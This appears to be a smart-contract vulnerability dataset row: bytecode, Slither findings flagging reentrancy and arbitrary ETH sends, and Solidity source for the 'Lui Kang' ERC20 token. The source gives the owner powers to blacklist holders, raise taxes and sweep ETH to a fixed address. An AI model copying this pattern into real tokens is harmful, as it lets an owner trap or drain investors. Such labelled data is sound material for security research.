0915290205491906113ca565b610d6a565b5060019392505050565b6000546001600160a01b0316331461075f5760405162461bcd60e51b815260040161064090611e04565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107aa5760405162461bcd60e51b815260040161064090611e04565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107e857600080fd5b476107f281611404565b50565b6001600160a01b0381166000908152600260205260408120546106c69061143e565b6000546001600160a01b031633146108415760405162461bcd60e51b815260040161064090611e04565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b55760405162461bcd60e51b815260040161064090611e04565b6611c37937e0800081116108c857600080fd5b601555565b6000546001600160a01b031633146108f75760405162461bcd60e51b815260040161064090611e04565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561095c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109809190611e80565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f19190611e80565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a629190611e80565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610aaf5760405162461bcd60e51b815260040161064090611e04565b601454600160a01b900460ff1615610ac657600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b0e5760405162461bcd60e51b815260040161064090611e04565b601755565b6000546001600160a01b03163314610b3d5760405162461bcd60e51b815260040161064090611e04565b60095482111580610b505750600b548111155b610b5957600080fd5b600893909355600a91909155600955600b55565b60006106c2338484610e8e565b6012546001600160a01b0316336001600160a01b031614610b9a57600080fd5b6000610ba5306107f5565b90506107f2816114c2565b6000546001600160a01b03163314610bda5760405162461bcd60e51b815260040161064090611e04565b60005b82811015610c4b578160056000868685818110610bfc57610bfc611e39565b9050602002016020810190610c119190611cb4565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c4381611e65565b915050610bdd565b50505050565b6000546001600160a01b03163314610c7b5760405162461bcd60e51b815260040161064090611e04565b601655565b6000546001600160a01b03163314610caa5760405162461bcd60e51b815260040161064090611e04565b6001600160a01b038116610d0f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610640565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dcc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610640565b6001600160a01b038216610e2d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610640565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ef25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610640565b6001600160a01b038216610f545760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610640565b60008111610fb65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610640565b6000546001600160a01b03848116911614801590610fe257506000546001600160a01b03838116911614155b156112c357601454600160a01b900460ff1661107b576000546001600160a01b0384811691161461107b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610640565b6015548111156110cd5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610640565b6001600160a01b03831660009081526010602052604090205460ff1615801561110f57506001600160a01b03821660009081526010602052604090205460ff16155b6111675760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610640565b6014546001600160a01b038381169116146111ec5760165481611189846107f5565b6111939190611e9d565b106111ec5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610640565b60006111f7306107f5565b6017546015549192508210159082106112105760155491505b8080156112275750601454600160a81b900460ff16155b801561124157506014546001600160a01b03868116911614155b80156112565750601454600160b01b900460ff165b801561127b57506001600160a01b03851660009081526005602052604090205460ff16155b80156112a057506001600160a01b03841660009081526005602052604090205460ff16155b156112c0576112ae826114c2565b4780156112be576112be47611404565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061130557506001600160a01b03831660009081526005602052604090205460ff165b8061133757506014546001600160a01b0385811691161480159061133757506014546001600160a01b03848116911614155b15611344575060006113be565b6014546001600160a01b03858116911614801561136f57506013546001600160a01b03848116911614155b1561138157600854600c55600954600d555b6014546001600160a01b0384811691161480156113ac57506013546001600160a01b03858116911614155b156113be57600a54600c55600b54600d555b610c4b8484848461163c565b600081848411156113ee5760405162461bcd60e51b81526004016106409190611bf2565b5060006113fb8486611eb5565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106b1573d6000803e3d6000fd5b60006006548211156114a55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610640565b60006114af61166a565b90506114bb838261168d565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061150a5761150a611e39565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611563573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115879190611e80565b8160018151811061159a5761159a611e39565b6001600160a01b0392831660209182029290920101526013546115c09130911684610d6a565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906115f9908590600090869030904290600401611ecc565b600060405180830381600087803b15801561161357600080fd5b505af1158015611627573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611649576116496116cf565b6116548484846116fd565b80610c4b57610c4b600e54600c55600f54600d55565b60008060006116776117f4565b9092509050611686828261168d565b9250505090565b60006114bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611834565b600c541580156116df5750600d54155b156116e657565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061170f87611862565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061174190876118bf565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117709086611901565b6001600160a01b03891660009081526002602052604090205561179281611960565b61179c84836119aa565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117e191815260200190565b60405180910390a3505050505050505050565b6006546000908190678ac7230489e8000061180f828261168d565b82101561182b57505060065492678ac7230489e8000092509050565b90939092509050565b600081836118555760405162461bcd60e51b81526004016106409190611bf2565b5060006113fb8486611f3d565b600080600080600080600080600061187f8a600c54600d546119ce565b925092509250600061188f61166a565b905060008060006118a28e878787611a23565b919e509c509a509598509396509194505050505091939550919395565b60006114bb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113ca565b60008061190e8385611e9d565b9050838110156114bb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610640565b600061196a61166a565b905060006119788383611a73565b306000908152600260205260409020549091506119959082611901565b30600090815260026020526040902055505050565b6006546119b790836118bf565b6006556007546119c79082611901565b6007555050565b60008080806119e860646119e28989611a73565b9061168d565b905060006119fb60646119e28a89611a73565b90506000611a1382611a0d8b866118bf565b906118bf565b9992985090965090945050505050565b6000808080611a328886611a73565b90506000611a408887611a73565b90506000611a4e8888611a73565b90506000611a6082611a0d86866118bf565b939b939a50919850919650505050505050565b600082611a82575060006106c6565b6000611a8e8385611f5f565b905082611a9b8583611f3d565b146114bb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610640565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f257600080fd5b8035611b2881611b08565b919050565b60006020808385031215611b4057600080fd5b823567ffffffffffffffff80821115611b5857600080fd5b818501915085601f830112611b6c57600080fd5b813581811115611b7e57611b7e611af2565b8060051b604051601f19603f83011681018181108582111715611ba357611ba3611af2565b604052918252848201925083810185019188831115611bc157600080fd5b938501935b82851015611be657611bd785611b1d565b84529385019392850192611bc6565b98975050505050505050565b600060208083528351808285015260005b81811015611c1f57858101830151858201604001528201611c03565b81811115611c31576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c5a57600080fd5b8235611c6581611b08565b946020939093013593505050565b600080600060608486031215611c8857600080fd5b8335611c9381611b08565b92506020840135611ca381611b08565b929592945050506040919091013590565b600060208284031215611cc657600080fd5b81356114bb81611b08565b80358015158114611b2857600080fd5b600060208284031215611cf357600080fd5b6114bb82611cd1565b600060208284031215611d0e57600080fd5b5035919050565b60008060008060808587031215611d2b57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d5c57600080fd5b833567ffffffffffffffff80821115611d7457600080fd5b818601915086601f830112611d8857600080fd5b813581811115611d9757600080fd5b8760208260051b8501011115611dac57600080fd5b602092830195509350611dc29186019050611cd1565b90509250925092565b60008060408385031215611dde57600080fd5b8235611de981611b08565b91506020830135611df981611b08565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e7957611e79611e4f565b5060010190565b600060208284031215611e9257600080fd5b81516114bb81611b08565b60008219821115611eb057611eb0611e4f565b500190565b600082821015611ec757611ec7611e4f565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f1c5784516001600160a01b031683529383019391830191600101611ef7565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f5a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f7957611f79611e4f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d6910d78369f1e437878af825e9715b9f4d382ce9c0ba33c9baaf3ae82fe829664736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,993 |
0xe9e3f6c32f032f1b40d4dd8281667056f0cb3454
|
/*
$LUI KANG
The Immortal
Telegram: https://t.me/luikangofficial
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract luikangt is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Lui Kang";
string private constant _symbol = "Lui Kang";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0xA62a6D1D01dC9549C0ef9ec3C977a63C049db8a9);
_buyTax = 12;
_sellTax = 12;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
require(amount <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 20_000_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 20_000_000_000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 32) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 32) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610315578063c3c8cd8014610335578063c9567bf91461034a578063dbe8272c1461035f578063dc1052e21461037f578063dd62ed3e1461039f57600080fd5b8063715018a6146102a35780638da5cb5b146102b857806395d89b411461015c5780639e78fb4f146102e0578063a9059cbb146102f557600080fd5b806323b872dd116100f257806323b872dd14610212578063273123b714610232578063313ce567146102525780636fc3eaec1461026e57806370a082311461028357600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b31461019c57806318160ddd146101cc5780631bbae6e0146101f257600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611849565b6103e5565b005b34801561016857600080fd5b5060408051808201825260088152674c7569204b616e6760c01b6020820152905161019391906118c6565b60405180910390f35b3480156101a857600080fd5b506101bc6101b7366004611757565b610436565b6040519015158152602001610193565b3480156101d857600080fd5b50683635c9adc5dea000005b604051908152602001610193565b3480156101fe57600080fd5b5061015a61020d366004611881565b61044d565b34801561021e57600080fd5b506101bc61022d366004611717565b610491565b34801561023e57600080fd5b5061015a61024d3660046116a7565b6104fa565b34801561025e57600080fd5b5060405160098152602001610193565b34801561027a57600080fd5b5061015a610545565b34801561028f57600080fd5b506101e461029e3660046116a7565b610579565b3480156102af57600080fd5b5061015a61059b565b3480156102c457600080fd5b506000546040516001600160a01b039091168152602001610193565b3480156102ec57600080fd5b5061015a61060f565b34801561030157600080fd5b506101bc610310366004611757565b61084e565b34801561032157600080fd5b5061015a610330366004611782565b61085b565b34801561034157600080fd5b5061015a6108ff565b34801561035657600080fd5b5061015a61093f565b34801561036b57600080fd5b5061015a61037a366004611881565b610b08565b34801561038b57600080fd5b5061015a61039a366004611881565b610b40565b3480156103ab57600080fd5b506101e46103ba3660046116df565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104185760405162461bcd60e51b815260040161040f90611919565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610443338484610b78565b5060015b92915050565b6000546001600160a01b031633146104775760405162461bcd60e51b815260040161040f90611919565b6801158e460913d0000081111561048e5760108190555b50565b600061049e848484610c9c565b6104f084336104eb85604051806060016040528060288152602001611a97602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f93565b610b78565b5060019392505050565b6000546001600160a01b031633146105245760405162461bcd60e51b815260040161040f90611919565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461056f5760405162461bcd60e51b815260040161040f90611919565b4761048e81610fcd565b6001600160a01b03811660009081526002602052604081205461044790611007565b6000546001600160a01b031633146105c55760405162461bcd60e51b815260040161040f90611919565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106395760405162461bcd60e51b815260040161040f90611919565b600f54600160a01b900460ff16156106935760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161040f565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156106f357600080fd5b505afa158015610707573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072b91906116c3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561077357600080fd5b505afa158015610787573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ab91906116c3565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107f357600080fd5b505af1158015610807573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082b91906116c3565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610443338484610c9c565b6000546001600160a01b031633146108855760405162461bcd60e51b815260040161040f90611919565b60005b81518110156108fb576001600660008484815181106108b757634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108f381611a2c565b915050610888565b5050565b6000546001600160a01b031633146109295760405162461bcd60e51b815260040161040f90611919565b600061093430610579565b905061048e8161108b565b6000546001600160a01b031633146109695760405162461bcd60e51b815260040161040f90611919565b600e5461098a9030906001600160a01b0316683635c9adc5dea00000610b78565b600e546001600160a01b031663f305d71947306109a681610579565b6000806109bb6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a1e57600080fd5b505af1158015610a32573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a579190611899565b5050600f80546801158e460913d0000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610ad057600080fd5b505af1158015610ae4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048e9190611865565b6000546001600160a01b03163314610b325760405162461bcd60e51b815260040161040f90611919565b602081101561048e57600b55565b6000546001600160a01b03163314610b6a5760405162461bcd60e51b815260040161040f90611919565b602081101561048e57600c55565b6001600160a01b038316610bda5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161040f565b6001600160a01b038216610c3b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161040f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d005760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161040f565b6001600160a01b038216610d625760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161040f565b60008111610dc45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161040f565b6001600160a01b03831660009081526006602052604090205460ff1615610dea57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e2c57506001600160a01b03821660009081526005602052604090205460ff16155b15610f83576000600955600c54600a55600f546001600160a01b038481169116148015610e675750600e546001600160a01b03838116911614155b8015610e8c57506001600160a01b03821660009081526005602052604090205460ff16155b8015610ea15750600f54600160b81b900460ff165b15610eb557601054811115610eb557600080fd5b600f546001600160a01b038381169116148015610ee05750600e546001600160a01b03848116911614155b8015610f0557506001600160a01b03831660009081526005602052604090205460ff16155b15610f16576000600955600b54600a555b6000610f2130610579565b600f54909150600160a81b900460ff16158015610f4c5750600f546001600160a01b03858116911614155b8015610f615750600f54600160b01b900460ff165b15610f8157610f6f8161108b565b478015610f7f57610f7f47610fcd565b505b505b610f8e838383611230565b505050565b60008184841115610fb75760405162461bcd60e51b815260040161040f91906118c6565b506000610fc48486611a15565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108fb573d6000803e3d6000fd5b600060075482111561106e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161040f565b600061107861123b565b9050611084838261125e565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110e157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561113557600080fd5b505afa158015611149573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116d91906116c3565b8160018151811061118e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111b49130911684610b78565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111ed90859060009086903090429060040161194e565b600060405180830381600087803b15801561120757600080fd5b505af115801561121b573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f8e8